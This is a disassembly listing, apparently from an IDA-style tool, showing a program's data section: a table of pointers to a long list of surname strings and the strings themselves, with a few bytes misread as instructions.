		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E690o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E68Co
		align 10h
